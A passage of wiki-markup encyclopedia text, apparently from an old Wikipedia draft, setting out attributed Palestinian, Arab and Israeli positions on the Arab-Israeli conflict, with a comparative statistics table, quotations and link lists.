=====A state based on outdated claims=====

=====Israel and international law=====
:''See also [[International law and the Arab-Israeli conflict]]''.

Palestinians claim they have [[International law]] on their side.

[[1947_UN_Partition_Plan|UN General Assembly Resolution 181]] orders that &quot;Independent Arab and Jewish States...shall come into existence in Palestine&quot;. Israeli founding father and author of Resolution 181 [[Abba Eban]] claimed that Israel &quot;tear[s] up its own birth certificate&quot; when it ignores UN resolutions.[http://www.haaretzdaily.com/hasen/pages/ShArt.jhtml?itemNo=231659&amp;contrassID=3&amp;subContrassID=0&amp;sbSubContrassID=0]

Palestinians hold that Israel disregards the following UN resolutions/International Law provisions:

[[UN General Assembly Resolution 194]] calls for &quot;the refugees wishing to return to their homes and live at peace with their neighbours should be permitted to do so at the earliest practicable date, and that compensation should be paid for the property of those choosing not to return and for loss of or damage to property&quot; not naming either [[Palestinian refugees]] or [[Jewish refugees]]. Palestinians hold that this resolution should allow for the [[Palestinian exodus]] to return to their homes in Israel. Israel has blocked the return of these refugees and confiscated their land as &quot;absentee&quot;.

[[UN Security Council Resolution 242]], adopted after the [[Six-Day War]], emphasizes &quot;the inadmissibility of the acquisition of territory by war and the need to work for a just and lasting peace in which every State in the area can live in security,&quot; and calls for &quot;withdrawal of Israel armed forces from territories occupied in the recent conflict&quot; and for the recognition of the &quot;sovereignty, territorial integrity and political independence of every State in the area and their right to live in peace within secure and recognized boundaries free from threats or acts of force&quot;. These territories occupied included the [[Gaza Strip]], [[Golan Heights]], [[West Bank]] and the [[Sinai Peninsula]]. The [[Palestinian Authority]] intends eventually to establish a state in the West Bank and Gaza Strip. Israel maintains control of the West Bank and maritime/aerospace control of the Gaza Strip. 

The [[Fourth Geneva Convention]] forbids an occupying power from confiscating occupied land and transferring its own population to that territory.&lt;!--Over 88% of Israel proper is composed of land confiscated from Palestinian land owners.
:''Of the entire area of the state of Israel only about 300,000-400,000 dunums ... are state domain which the Israeli government took over from the mandatory regime [2 %]. The JNF and private Jewish owners possess under two million dunum [10 %]. Almost all the rest [i.e 88 % of the 20,225,000 dunums within the 1949 armistice lines] belongs at law to Arab owners, many of whom have left the country. (Jewish National Fund, Jewish Villages in Israel, p.xxi, quoted in Lehn and Davis, The Jewish National Fund)--&gt;&lt;!--That's not found in the Fourth Geneva Convention, nor is it an argument made by Palestinians.  It's a claim apparently made in a JNF document.  Furthermore, it is a dubious claim, since other statistics and sources explicitly contradict it.--&gt;

[[UN Security Council Resolution 446]] declares that the [[Israeli settlement]]s in the occupied Palestinian territories are illegal.[http://domino.un.org/UNISPAL.NSF/0/ba123cded3ea84a5852560e50077c2dc?OpenDocument]

====Issues of democracy and fairness====
=====Historical treatment of Jews in the Arab world=====
Many [[Muslim]]s and contemporary western Historians assert that [[Jew]]s were treated [[Islam and Judaism |better]] by Muslims than by other rulers who [[Persecution of Jews|persecuted]] them. One pertinent example is the mass expulsion of Jews from [[Spain]] after the fall of their last refuge there, the Muslim kingdom of [[Granada]] in 1492. This resulted in the [[Jew#Jews and Migrations|migration]] of Jews (especially those fleeing the [[Spanish Inquisition]]) to the [http://www.mersina.com/lib/turkish_jews/history/life.htm Ottoman Empire], including the present-day region of Israel and surrounding areas. Authoritative works summarizing Jewish treatment within Muslim lands written by Jews have concluded that although occasional violent persecution did occur, it was not systemic nor continuous and substantially better than treatment by Christians in the pre-modern era. (Lewis, 1984)

=====The creation of Israel as a cause of conflict=====
Supporters of this viewpoint regard historically good relations with much of the Middle East as having been shattered by the creation of Israel.  They cite the example of [[Mizrahi Jews]], who had long been living in large measure peacefully among Arabs and Muslims, but who left after the establishment of the state of Israel for a variety of reasons (depending on the country), including Muslim hostility because of the new state. Some point out as well that during the times of the [[Spanish Inquisition]], Muslim countries were prominent in accepting Jewish refugees.

Opponents of this viewpoint, including some Mizrahi Jews themselves, see this as one-sided at best. They point to the persecutions of the Jews of North Africa in the 12th century under the [[Almohades]], the slaughter of thousands of Jews in [[Fez, Morocco|Fez]] in 1465 (after the Jewish deputy vizier Harun (Aaron), who had imposed heavy taxes on the population on behalf of the vizier, was accused of treating a Muslim woman &quot;offensively&quot;), [http://www.jewishvirtuallibrary.org/jsource/myths/mf15.html#c] and to similar massacres in [[Libya]], [[Algiers]], and [[Marrakesh]] in the 18th and 19th centuries (Morris, 2001). They also point to waves of synagogue destructions and forced conversions throughout the Arab world from the 11th to 19th centuries, and to the fact that, by the 19th century, most Jews of North Africa were forced to live in ''[[mellah]]s'' or [[ghettos]], and were subject to a number of restrictions and humiliations.

=====Jewish immigration as a cause of conflict=====
Some Arabs maintain that there is nothing wrong with Jewish immigration into Palestine, in itself, any more than there is with Jewish immigration into any other part of the world. But in their view the [[Zionist]] immigrants arriving in Palestine from the late 1800s on did so in course of a plan to take it over and establish a Jewish majority state, in some cases by force; they consider this to be colonization of Palestinians' land, made possible not by Palestinian [[self-determination]], or even consent, but by British (and to a lesser extent Turkish) fiat.  This process led to what they regard as an expulsion by Zionists of the majority of the indigenous Palestinian population in 1948, and continues today with Israel's ongoing expansion of settlements.  Palestinians also decry what they see as the inherent inequity of long-standing Israeli laws on immigration where, according to Israel's Law of Return, a Jew born in, say Stockholm, may immigrate to Israel and gain automatic citizenship and elect to live anywhere he chooses, including [[East Jerusalem]], whereas a Palestinian born and raised in Jerusalem and forced to leave as a refugee of war may not return to his home.

The detractors of this argument regard the existence of a Jewish minority in the [[Land of Israel]] throughout the past two millennia, and the [[Jerusalem|importance of Jerusalem and the Land of Israel in Judaism]], as giving Jews a right to go there that trumps Palestinians' objections. They also claim international approval for their immigration, noting that both the [[League of Nations]]'s 1922 [[Palestine Mandate]] and the 1947 [[UN Partition Plan]] supported the establishment of a [[Jewish National Homeland]] in the region, and view the Arab leadership's former rejection of any partition as an attempt to deny the Jews their right of [[self-determination]]. They claim that a national homeland for Jews would have protected them from persecution.  [[General Zionism|Mainstream Zionists]] have argued that the land could support a greater population density without major population displacement.

=====Israeli treatment of minorities=====
Palestinians feel that the Jewish state of Israel was established under conditions that were deeply unfair to them. Some Palestinians do not oppose a Jewish state as such, but all Palestinians feel that it should not have been established at their expense. They argue that after World War II - and, indeed, after World War I - the world allowed a state for Jewish people in Palestine to be established without much concern for the existing indigenous Arab population.  According to this view, Palestinians were forcibly expelled from their homes by Jewish militias before and during the 1948 Arab-Israeli war (see [[Palestinian exodus]].)  Those who remained in Israel face various forms of discrimination, such as housing and employment discrimination. Many job opportunities in Israel are open only to those with previous military service, typically non-''[[haredi]]'' Jews, [[Druze]], [[Circassians]] and [[Bedouins]].  Those who do not serve in the IDF (typically [[Israeli Arab]]s and ''haredi''-Jews) are denied those opportunities.

Some Palestinian Christians are of the opinion that the [[Israeli-Palestinian conflict]] has led to the diminishment of their population[http://christianactionforisrael.org/antiholo/hate_jews.html][http://www.amconmag.com/2004_05_24/article.html]. Others, like [[Abe Ata]] are of the opinion that American [[Christianity|Christians]] have &quot;turned their backs&quot; on them by supporting Israel [http://www.natcath.com/NCR_Online/archives/112202/112202r.htm].  Some Palestinian Christians have alleged that Israel does not give them permission to visit holy places in Jerusalem.[http://www.amin.org/eng/daoud_kuttab/2005/may20.html]

====Legitimacy of war against Israel====
As the refugees' exile continued, some Palestinian groups chose war, considering it as a necessary way to regain what they saw as their rights over the land they came from. The failure of these efforts to improve the Palestinians' condition fueled increased hostility.

Many Palestinians distinguish between violent resistance against Israeli military occupation, and violent acts against Israeli civilians. They hold that the former is legitimate resistance under the [[laws of war]], while the latter comprise illegitimate acts of terrorism.&lt;!-- However, opinion polls consistently show these Palestinians to be in the minority. --&gt; Other Palestinian voices reject violence altogether and look to exclusively non-violent resistance as a solution. Palestinians making the case for purely non-violent resistance, or for armed resistance against only military targets but not Israeli civilians, invoke both practical arguments that such tactics are counterproductive, as well as moral and legal arguments against the use of violence, especially against civilians. Most Palestinians claim that Israel's occupation engenders routine violence against Palestinian civilians that is institutionalized and carried out on a much larger scale than anything Israelis experience. They often question what they see as the media's one-sided use of the word &quot;terror&quot; in cases where Palestinians are perpetrators and Israelis are victims, while ignoring what they view as state terrorism carried out by Israel against the Palestinian population. 

Some Palestinian and Arab leaders believe that Palestinians are justified in using violence against any Israeli, seeing all Israelis as illegal occupants, and arguing that Israel's universal conscription renders almost all Israelis potential combatants. They see these illegal occupants as the source of tens of thousands of deaths, and millions of refugees. Some claim that trusting the international community to help them to get their rights back is useless, suggesting that, in recent history, as long as Palestinians were peaceful no state made any serious efforts to solve their problem. In their opinion, only when other countries see Palestinian problems as causing problems to themselves do they help Palestine.

They also argue that the civilian deaths caused by their operations are dwarfed by those dismissed as &quot;[[collateral damage]]&quot; caused by the full scale military campaigns done by various world powers. Some see the innocent deaths caused by such operations as regrettable, but as an only option to solve the problems of millions of Palestinians. Furthermore, they point to the use of violence against non-combatants by most other independence struggles, including, they say, the [[American War of Independence]].

Despite having underlying grievances in common, the relationships between the [[PLO and Hamas]] and other Palestinian factions is rife with philosophical and tactical differences, as well as frequent power struggles, all of which tend to work to Israel's advantage and weaken Palestinians' ability to influence the outcome of the conflict.

====Treatment of Palestinians====
Restrictions on Palestinian movements were introduced to increase levels of security within Israel and have been of variable severity over time. The international community often views these as punishments of the masses because of the actions of a few. This perception of unjust persecution provides a continuing rationale for hostility toward Israel.

Bulldozing of houses and destruction of infrastructure within Palestinian residential areas in the name of Israeli security add to the perceived poor conditions and lack of opportunities for the Palestinians. This is a frequently-used point of indignation used against Israel by Palestinian sympathizers.

Arab publications and others have compared [[Zionism]] to German [[Nazism]] and other historical examples of oppression and ethnic cleansing. Many Arabs, and others, believe Israel practices a form of &quot;[[apartheid]]&quot; against the Palestinian people, as bad as, or worse than, that practised by [[South Africa]], and that Zionism is a form of &quot;[[colonialism]]&quot; and has been carried out through extensive &quot;ethnic cleansing&quot;. Pro-Israel advocates reply that these claims are non-factual and the comparisons are specious, or with assertions that such claims are hypocritical, since Arabs have created twenty-two Arab states, in some of which the remaining Jews are discriminated against. Palestinians hold that the existence of other Arab nations is irrelevant; they want to have the land they owned back, rather than being forced to throw themselves on others' charity in foreign countries. According to the Palestinian Central Bureau of Statistics half of Jordan's population is ethnically Palestinian (former refugees and their descendants [http://www.pcbs.org/Portals/_pcbs/PressRelease/endyrrelse05e.pdf]) but the country is ruled by the Hashemite [[Bedouin]] family. In the 1970s, the PLO attempted to launch a [[Black September in Jordan|coup against the Jordanian monarchy]], which led to the death of some 20,000 Palestinians and the expulsion of the PLO from Jordan to Lebanon.

Israel's Family Reunification Law allows Interior Minister to grant permanent resident status to West Bank Palestinians who have family members in Israel. In his comment to the Knesset Interior Affairs committee on [[July 19]] [[2005]], [[Shin Bet]] Chief Yuval Diskin stated that &quot;11% of those involved in terror attacks are Palestinians who entered Israel via the Family Reunification Law.&quot; [http://www.reliefweb.int/rw/RWB.NSF/db900SID/FPRI-6EFGS8?OpenDocument] [http://www.ynetnews.com/articles/0,7340,L-3115064,00.html]

====Refugee issues====
[[UN General Assembly Resolution 194]] calls for &quot;the refugees wishing to return to their homes and live at peace with their neighbours should be permitted to do so at the earliest practicable date, and that compensation should be paid for the property of those choosing not to return and for loss of or damage to property&quot;. Israel has blocked the return of these refugees and confiscated their land as &quot;absentee&quot;.

The supporters of Israel argue that the return of Palestinian refugees and millions of their descendents would mean the end of Jewish [[self-determination]] and assert the historical necessity for Jews to have a [[safe haven]]. See also [[Jewish refugees]].

====Jewish settlements in West Bank and Gaza====
Palestinians point out that Israel accelerated the expansion of settlements in the West Bank and Gaza Strip throughout the Oslo peace process. These settlements are off limits to Palestinians and other Arabs, while any Jewish citizen of Israel can at any time choose to settle there. In 2000, at [[Camp David]], the Palestinians were offered a nominally independent state composed of discontiguous parts of most of Gaza and the West Bank, with Israeli control over its airspace, borders and trade. Led by Arafat, the Palestinians rejected this offer, claiming that this state would be a &quot;[[Bantustan]]&quot; (a state divided in many pieces) without sovereignty. President Clinton and the Israelis asked the Palestinians to offer a counter-proposal, but Arafat declined and returned to the West Bank. Later, further negotiations did take place, but they were terminated by the Israeli side. In his book ''The Missing Peace: The Inside Story of the Fight for Middle East Peace'', [[Dennis Ross]], the American ambassador and facilitator, asserts that the idea the Palestinian state would be a &quot;Bantustan&quot; was a myth, and provides maps showing an offer that included contiguous territory. [http://www.motherjones.com/news/qa/2004/10/09_404.html]&lt;!--Palestinians counter that Dennis Ross is not a credible source and a paid Israeli advocate.[http://www.pmwatch.org/pmw/cast/ross.asp]--&gt;&lt;!--This source no-where claims that Ross's maps are incorrect, or that a Palestinian state would indeed have been a &quot;Bantustan&quot;.--&gt;

During Fateh Central Committee meeting on [[September 5]] [[2005]], &quot;[r]eferring to the lands Israel would evacuate in Gaza Strip, President Abbas said that 97.5 % of these lands were state-owned lands&quot;[http://www.ipc.gov.ps/ipc_new/english/details.asp?name=10285].

====Arab willingness to make peace====
In 2002, Saudi Arabia offered a [[Arab Peace Initiative|peace plan]] in the [[New York Times]] and at a summit meeting of the [[Arab League]] in [[Beirut]]. The plan is based on, but goes beyond [[UN Security Council Resolution 242]] and [[UN Security Council Resolution 338|Resolution 338]].  It essentially calls for full withdrawal, solution of the [[Palestinian refugee|refugee problem]], and a [[Palestinian state]] with its capital in [[East Jerusalem]] in return for fully normalized relations with the whole Arab world. This proposal received the unanimous backing of the [[Arab League]] for the first time. 

In response, Israeli Foreign Minister [[Shimon Peres]] welcomed it and said: &quot;... the details of every peace plan must be discussed directly between Israel and the Palestinians, and to make this possible, the Palestinian Authority must put an end to terror, the horrifying expression of which we witnessed just [[Netanya suicide attack|last night in Netanya]].&quot; [http://www.mfa.gov.il/MFA/About+the+Ministry/MFA+Spokesman/2002/Response+of+FM+Peres+to+the+decisions+of+the+Arab.htm]

In November 2005, the Bush administration acknowledged that Saudi Arabia has renewed funding to Hamas and other Palestinian insurgency groups. [http://www.menewsline.com/stories/2005/november/11_10_2.html]

====Palestinians as victims of extremism====
Some Palestinians believe that their cause may be damaged by extremists within their own ranks; an issue that is mirrored in the Israeli camp. Some view the conflict as essentially extremist vs. moderate, as opposed to Israeli vs. Palestinian. Pro-Israel advocates often assert that two sets of views exist from the same speaker, with a tolerant view usually expressed in English, and an anti-peace view usually expressed in Arabic, with pro-Arab advocates making similar charges about Israeli speakers. Most if not all Palestinian spokespeople declare that they wish Israel had never come into being, regarding its creation as a historic injustice.  However, some accept its existence today and call merely for a state of their own.  Still others envisage a one-state solution in all of historic Palestine.  Within this one-state view, there are both secular and Islamist visions for the future. The secular view holds that a just and lasting peace is most likely if there exists a fully democratic government for all citizens, where legal status and civil rights are not based on ethnic and religious identity.  The Islamist view aspires to an Islamic government in Palestine.  In both views, Jews currently living in Israel might be allowed to remain there unmolested as free and equal citizens of a future state of Palestine (in the secular Arab view) or as [[dhimmi]]s along with Druze and Christians, in the Islamist Arab view. Some Jews view it as extremely unlikely that they would be allowed to live unmolested in any sort of one-state Palestine.

Today, many Palestinians think that an equitable arrangement for all involved parties requires dialogue with Israelis and the international community. The PLO has officially accepted the right of Israel to exist within the [[1949 Armistice Agreements|pre-1967 armistice lines]]. However, some PLO representatives, including Yasser Arafat, have also declared at times that they saw these statements as politically necessary steps.  Some observers interpret this to mean that they view the two-state solution as a stepping stone to a more integrated long-term solution.  Others, particularly some Israelis, claim that these statements betray a hidden agenda and worldview where the peace process with Israel is only a temporary measure in support of the ultimate Palestinian goal, which is the destruction of the state of Israel, and presumably the eviction of its Jewish citizens. They point to the fact that the PLO never updated its formal statement of policy, the [[Palestinian National Covenant]] to reflect their recognition of the State of Israel and that it still calls for the destruction of Israel; however the U.S. Embassy in Israel is on record confirming that &quot;On April&amp;nbsp;24, 1996, the Palestinian National Council (PNC) amended the charter by canceling the articles inconsistent with its commitments to Israel&quot; [http://www.usembassy-israel.org.il/publish/peace/plo_note.html]. Still, belief in an existential threat from the PLO causes alarm among much of the Israeli public.

===Mutual claims===
====Biased text books====
Many Palestinian school textbooks, including those distributed and sponsored by the Palestinian Authority since 1994, have historically minimized or ignored Jewish history of the land prior to the twentieth century. Similar statements are made in the Palestinian media. Palestinians claim the newer batch of the textbooks, released in 2000, rectify any omissions. Palestinians also claim that Israeli textbooks and school curriculum fully ignore Palestinian history and propagate myths about the founding of Israel such as claims that Palestine was virtually uninhabited prior to the arrival of Zionist immigrants in the late 1800s and early 1900s.  Palestinians further claim that Israeli textbooks and media neglect and minimize the Arab Palestinian past and, according to Center for Monitoring the Impact of Peace (CMIP), stereotype Arabs negatively[http://www.edume.org/reports/8/14.htm]; however the Israelis counter that the Israeli history program does include medieval Islamic history including topics such as the Arab [[Caliphate]], as well as some history of both Arab and Jewish elements of Palestine. CMIP regularly issues [http://www.edume.org/reports/report1.htm reports on the contents of Arab and Israeli school textbooks].

====The role of the superpowers====
Palestinians cite many reasons for the perceived lack of support of their cause in the United States, despite the perception that it is more broadly supported in Europe. One such reason is postulated to be ethnic bigotry in the U.S.; while stereotyping of many other groups is no longer rampant, many people believe that Muslims and Arabs, in particular, continue to be vilified and victimized by crude attacks. There is also strong influence by Christian [[Zionist]] organizations on elected officials in the U.S. political system (see [[American Israel Public Affairs Committee|AIPAC]] as one such example). It has also been argued that the U.S. continues to support Israel in order to have a strong foot hold in the region for their own national interests, politically and economically. Many also cite the political nature of the Cold War that aligned the U.S. with Israel against the USSR and its allies in the region.

The [[Soviet Union|USSR]] traditionally used Arabs as a proxy in the [[Cold War]] against the [[Western world]] (and the West's proxy in the Middle East, Israel). Some of today's [[anti-Zionism|anti-Zionist]] rhetoric still reflects the position of Soviet [[Zionology]].

===Peace and reconciliation===
Despite the long history of conflict between Israelis and Arabs, there are many people working on peaceful solutions that respect the rights of peoples on all sides. See [[projects working for peace among Israelis and Palestinians]].
*Currently active  [[List of Middle East peace proposals]] include:
**[[Geneva Accord]]
**[[Road map for peace]]
**[[The People's Voice]]

==Comparative statistics==

{| class=&quot;wikitable&quot;
|+'''Comparative statistics Israel and Arab countries, Netherlands as comparable index. '''
|-
!Country
!GDP/capita
!Infant mortality rate
!Life expectancy
!Fertility rate
![[Human Development Index]]
![[Freedom House]] rating
|-
|''[[Netherlands]]''
|''$24,400''
|''4.37''
|''78.43''
|''1.65''
|''0.931''
|''Free''
|-
|[[Israel]] within 1949 armistice lines
|$22,200
|7.03
|79.32 (2005)
|2.57
|0.893
|Free
|-
|[[West Bank]]
|$1,500
|21.78
|72.28
|4.9
|N/A
|Not free
|-
|[[Gaza]]
|$1,000
|25.37
|71.01
|6.42
|N/A
|Not free
|-
|[[Jordan]]
|$3,500
|20.36
|77.53
|3.29
|0.714
|Partly free
|-
|[[Lebanon]]
|$5,000
|28.35
|71.52
|2.05
|0.758
|Not free
|-
|[[Egypt]]
|$3,600
|60.46
|63.96
|3.07
|0.635
|Not free
|-
|[[Syria]]
|$3,100
|33.8
|68.77
|3.95
|0.7
|Not free
|-
|[[Iraq]]
|$2,500
|60.05
|66.95
|4.75
|N/A
|Not free
|-
|[[Yemen]]
|$820
|68.53
|60.21
|6.97
|0.468
|Not free
|-
|[[Libya]]
|$8,900
|28.99
|75.65
|3.64
|0.77
|Not free
|-
|[[Algeria]]
|$5,500
|40.56
|69.95
|2.72
|0.693
|Not free
|-
|[[Morocco]]
|$3,500
|48.11
|69.43
|3.05
|0.596
|Partly free
|-
|[[Kuwait]]
|$15,500
|11.18
|76
|3.2
|0.818
|Partly free
|-
|[[Bahrain]]
|$13,000
|19.18
|73
|3
|0.831
|Not free
|-
|[[Comoros]]
|$710
|81.79
|61
|5.26
|0.506
|Partly free
|-
|[[Djibouti]]
|$1,400
|99.79
|52
|6
|N/A
|Partly free
|-
|[[Mauritania]]
|$1,800
|75.25
|52
|6
|0.438
|Not free
|-
|[[Oman]]
|$8,200
|21.77
|72
|6
|0.751
|Not free
|-
|[[Qatar]]
|$21,200
|20.73
|73
|3
|0.803
|Not free
|-
|[[Somalia]]
|$550
|122.15
|47
|7
|N/A
|Not free
|-
|[[United Arab Emirates]]
|$21,100
|16.12
|75
|3
|0.812
|Not free
|-
|[[Sudan]]
|$1,360
|67.14
|57
|5
|0.499
|Not free
|-
|[[Tunisia]]
|$6,500
|29.04
|74
|1.99
|0.714
|Not free
|-
|[[Saudi Arabia]]
|$10,500
|51.25
|68.09
|6.25
|0.754
|Not free
|}

''Sources: CIA World Factbook, Freedom House, Human Development Index - available statistics in 2002''

[[Image:Israel resources as percentage of Arab world.JPG|thumb|400px|Israel's geographic and demographic resources as % of the Arab League]]

==Quotations==
*&quot;Jewish villages were built in the place of Arab villages. You do not even know the names of these Arab villages, and I do not blame you because geography books no longer exist, not only do the books not exists, the Arab villages are not there either. Nahlal arose in the place of Mahlul; Kibbutz Gvat in the place of Jibta; Kibbutz Sarid in the place of Huneifis; and Kefar Yehushu'a in the place of Tal al-Shuman. There is not one single place built in this country that did not have a former Arab Population.&quot; [[Moshe Dayan]], Israeli military leader and politician in an address to the Technion, Haifa; as quoted in Ha'aretz ([[4 April]] [[1969]]).
*&quot;The greatest security for Israel is to create new Egypts.&quot; President [[Ronald Reagan]]. Quoted in: Observer (London, [[27 February]] [[1983]]).
*&quot;My generation, dear Ron, swore on the Altar of God that whoever proclaims the intent of destroying the Jewish state or the Jewish people, or both, seals his fate.&quot; &amp;#8212; [[Menachem Begin]], Israeli politician, prime minister. Letter to Reagan. Quoted in: Observer (London, [[2 January]] [[1983]]).
*&quot;We have always said that in our war with the Arabs we had a secret weapon-no alternative.&quot; &amp;#8212; [[Golda Meir]], Israeli politician, prime minister. Life (New York, [[3 October]] [[1969]]).
*&quot;Peace will come when the Arabs will love their children more than they hate us&quot; &amp;#8212; Golda Meir, 1957
*&quot;We, the people of Palestine, stand before you in the fullness of our pain, our pride, and our anticipation for we long harbored a yearning for peace and a dream of justice and freedom. For too long, the Palestinian people have gone unheeded, silenced and denied, our identity negated by political expedience, our right for struggle against injustice maligned, and our present existence subsumed by the past tragedy of another people&quot; Haidar Abd El-Shafi, head of the Palestinian Delegation to the Madrid Peace Conference, Opening Remarks (Madrid, [[30 October]] [[1991]])[http://mondediplo.com/focus/mideast/a2299]
*&quot;Our image has undergone change from David fighting Goliath to being Goliath.&quot; &amp;#8212; [[Yitzhak Shamir]], Israeli politician, prime minister. Quoted in: Daily Telegraph (London, [[25 January]] [[1989]]).
*&quot;Palestine is the cement that holds the Arab world together, or it is the explosive that blows it apart.&quot; &amp;#8212; [[Yasser Arafat]], Palestinian leader. Quoted in: Time (New York, [[11 November]] [[1974]]).
*&quot;We are not asking for the moon.&quot; &amp;#8212; Yasser Arafat, Palestinian leader. Quoted in: Observer (London, [[7 February]] [[1982]]).
*&quot;Should there be maniacs who raise the idea, they will encounter an iron fist which will leave no trace of such attempts.&quot; &amp;#8212; Yitzhak Shamir, Israeli politician, prime minister. Quoted in: Times (London, [[11 August]] [[1988]]), on advocates of Palestinian self-government.
*&quot;Whoever thinks of stopping the uprising before it achieves its goals, I will give him ten bullets in the chest.&quot; &amp;#8212; Yasser Arafat, Palestinian leader. Quoted in: Daily Telegraph (London, [[19 January]] [[1989]]), on the Intifada.
*&quot;We, the soldiers who have returned from battles stained with blood; we who have seen our relatives and friends killed before our eyes; we who have attended their funerals and cannot look in the eyes of their parents; we who have come from a land where parents bury their children; we who have fought against you, the Palestinians-we say to you today, in a loud and a clear voice: enough of blood and tears. Enough.&quot; &amp;#8212; [[Yitzhak Rabin]], Israeli prime minister. Speech at the White House, [[September 13]] [[1993]], after signing the Israeli-Palestinian Declaration of Principles.
*&quot;Not only [are] our states . . . making peace with each other,. . . you and I, your Majesty, are making peace here, our own peace, the peace of soldiers and the peace of friends.&quot; &amp;#8212; Yitzhak Rabin, Israeli Prime Minister. New York Times, ([[July 27]] [[1994]]), after signing a peace declaration with Jordan's [[Hussein of Jordan|King Hussein]].

==See also==
*[[Islam and Judaism#Jewish-Arab conflict in the days of Muhammad|Jewish-Arab conflict in the days of Muhammad]]
*[[List of conflicts in the Middle East]]
*[[International law and the Arab-Israeli conflict]]
*[[Arab League and the Arab-Israeli conflict]]
*[[Israeli-Palestinian conflict timeline]]
*[[Israeli-Palestinian conflict]]
*[[Islamist movement]]
*[[Israel]]
*[[Israel Defense Force]]
*[[Occupation of the Gaza Strip by Egypt]]
*[[Occupation of the West Bank and East Jerusalem by Jordan]]
*[[Political status of the West Bank and Gaza Strip]]
*[[Proposals for a Palestinian state]]
*[[War on Terrorism]]
*[[Greater Israel]]
*[[Greater Syria]]

===Abbreviated timeline===
*[[Balfour Declaration 1917]]
*[[Faisal-Weizmann Agreement]]
*[[British Mandate of Palestine]]
*[[Riots in Palestine of 1920]]
*[[Jaffa riots]], 1921
*[[1922 Text: League of Nations Palestine Mandate]]
*[[Riots in Palestine of 1929]]
*[[Great Uprising]], 1936-1939
*[[Peel Commission]]
*[[White Paper of 1939]]
*[[1947 UN Partition Plan]]
*[[Declaration of the Establishment of the State of Israel, May 14, 1948]]
*[[1948 Arab-Israeli War]]
*[[1949 Armistice Agreement]]
*[[Jewish exodus from Arab lands]]
*[[1956 Suez War]]
*[[Kfar Kassem massacre]], 1956
*[[1967 Six Day War]]
*[[Khartoum Resolution]]
*[[1970 War of Attrition]]
*[[1973 Yom Kippur War]]
*[[Peace process]]
*[[1978 Camp David Peace Accords between Egypt and Israel]]
*[[1982 Lebanon War]]
*[[1990/1 Gulf War]]
*[[1993 Oslo Peace Accords between Palestinians and Israel]]
*[[Camp David 2000 Summit between Palestinians and Israel]]
*[[Israel's unilateral disengagement plan of 2004]]

==References==
*Cramer, Richard Ben  ''How Israel Lost: The Four Questions'', Simon and Schuster, May, 2004, hardcover, 288 pages, ISBN 0743250281
* [[Dore Gold|Gold, Dore]], ''Tower Of Babble: How The United Nations Has Fueled Global Chaos'', Random House (November, 2004), hardcover, 304 pages, ISBN 1400054753
*Hamidullah, M. (1986), &quot;Relations of Muslims with non-Muslims,&quot; ''Journal of Muslim Minority Affairs'', vol. 7, no. 1, January 1986
*{{cite book | author=Khouri, Fred | title=The Arab-Israeli Dilemma (3rd edition) | publisher=Syracuse University Press | year=1985 | id=ISBN 0815623402}}
*Lewis, Bernard. &quot;The Jews of Islam,&quot; Princeton University Press, 1984, ISBN 0691008078 
*Morris, B. (2001), ''Righteous Victims: A History of the Zionist-Arab Conflict, 1881-2001'', 1st ed. 1999; 2nd ed. Vintage Books, 2001, ISBN 0679744754

==External links==
===General Sources===
*[http://news.bbc.co.uk/1/hi/in_depth/middle_east/2001/israel_and_the_palestinians/default.stm Israel and the Palestinians]
*[http://encarta.msn.com/encyclopedia_761588322/Arab-Israeli_Conflict.html Encarta Encyclopedia on the Arab-Israeli Conflict]
* [http://historyteacher.net/Arab-Israeli_Conflict.htm Guide to the Arab-Israeli Conflict], includes links to historical sources, as well as sources representing the Arab and Israeli sides of the conflict.
* [http://www.guardian.co.uk/flash/0,5860,720353,00.html The Guardian (UK) A Brief History of Arab-Israeli Conflict] (flash)
* [http://www.cnn.com/SPECIALS/2003/mideast/ Mideast: Land of Conflict] from CNN
*[http://dmoz.org/Society/Issues/Warfare_and_Conflict/Specific_Conflicts/Middle_East/Israel-Palestine/ Open Directory Project - ''Israel-Palestine Conflict'']
* [http://menic.utexas.edu/mes.html University of Texas] Center for Mideast Studies extensive collection of updated links

===Government and Official Sources===
* [http://www.mfa.gov.il/mfa Israel's Ministry of Foreign Affairs]
* [http://www.arableagueonline.org/arableague/index_en.jsp Arab League Online]
* [http://www.mofa.gov.ps/ Palestinian Authority Ministry of Foreign Affairs]
* [http://www.state.gov/p/nea/rt/c2829.htm US State Department] Mideast Peace information
* [http://www.un.org/Depts/dpa/qpal/ United Nations on the Question of Palestine], and *[http://www.israel-un.org/israel_un/default.htm Israel's UN mission's responses]
*[http://www.mfa.gov.il/MFA/Terrorism-+Obstacle+to+Peace/Palestinian+terror+since+2000/Victims+of+Palestinian+Violence+and+Terrorism+sinc.htm  Victims of Palestinian Violence and Terrorism since September 2000]

===Regional Media===
====Israeli====
*[http://www.ynetnews.com/ Yedioth Aharonoth] Israel's largest newspaper, centrist (English) [http://www.ynet.co.il/ (Hebrew)]
*[http://web.israelinsider.com/bin/en.jsp?enPage=HomePage IsraelInsider] Israel's Daily Online News Magazine (English)
*[http://www.jpost.com Jerusalem Post], Israel's oldest English newspaper, conservative (English)
*[http://www.haaretz.com/ Ha'aretz] Israeli newspaper, liberal (English)

====Arab====
*[http://www.dailystar.com.lb Lebanon Daily Star], largest English-circulation newspaper in the Arab world (English)
*[http://english.aljazeera.net/HomePage Al Jazeera], pan-Arab news station (English)
*[http://weekly.ahram.org.eg/ Al Ahram], Egypt's largest newspaper (English)
*[http://www.palestinechronicle.com/ Palestine Chronicle], weekly electronic paper (English)

====Arab: Translations into English and other languages====
*[http://www.memri.org/aboutus.html Middle East Media Research Institute], explores the Middle East through the region's media

===Think Tanks and Strategic Analysis===
* [http://www.tau.ac.il/jcss/ Jaffee Center for Strategic Studies at Tel Aviv University], influential centrist Israeli think tank specializing in military and strategic analysis
* [http://www.passia.org/index_pfacts.htm Palestinian Academic Society for the Study of International Affairs (PASSIA)], Palestinian research organization
* [http://www.ipcri.org/ Israel/Palestine Center for Research and Information] Joint Israeli-Palestinian think tank
* [http://www.brook.edu/index/taxonomy.htm?taxonomy=Politics,%20Global*Regional%20and%20country%20studies*Middle%20East Brookings Institute (US)], analyses on the Middle East
*[http://www.washingtoninstitute.org Washington Institute for Near East Policy] Influential American think-tank
*[http://www.memri.org/conflict.html Middle East Media Research Institute] Original analysis of current developments in the peace-process

===Peace Proposals===
''See main article: [[List of Middle East peace proposals]]''
* [http://www.mideastweb.org/peaceplans.htm An historical summary of Middle East Peace Plans and Proposals]

===Views of the Conflict: Pro-Israeli===
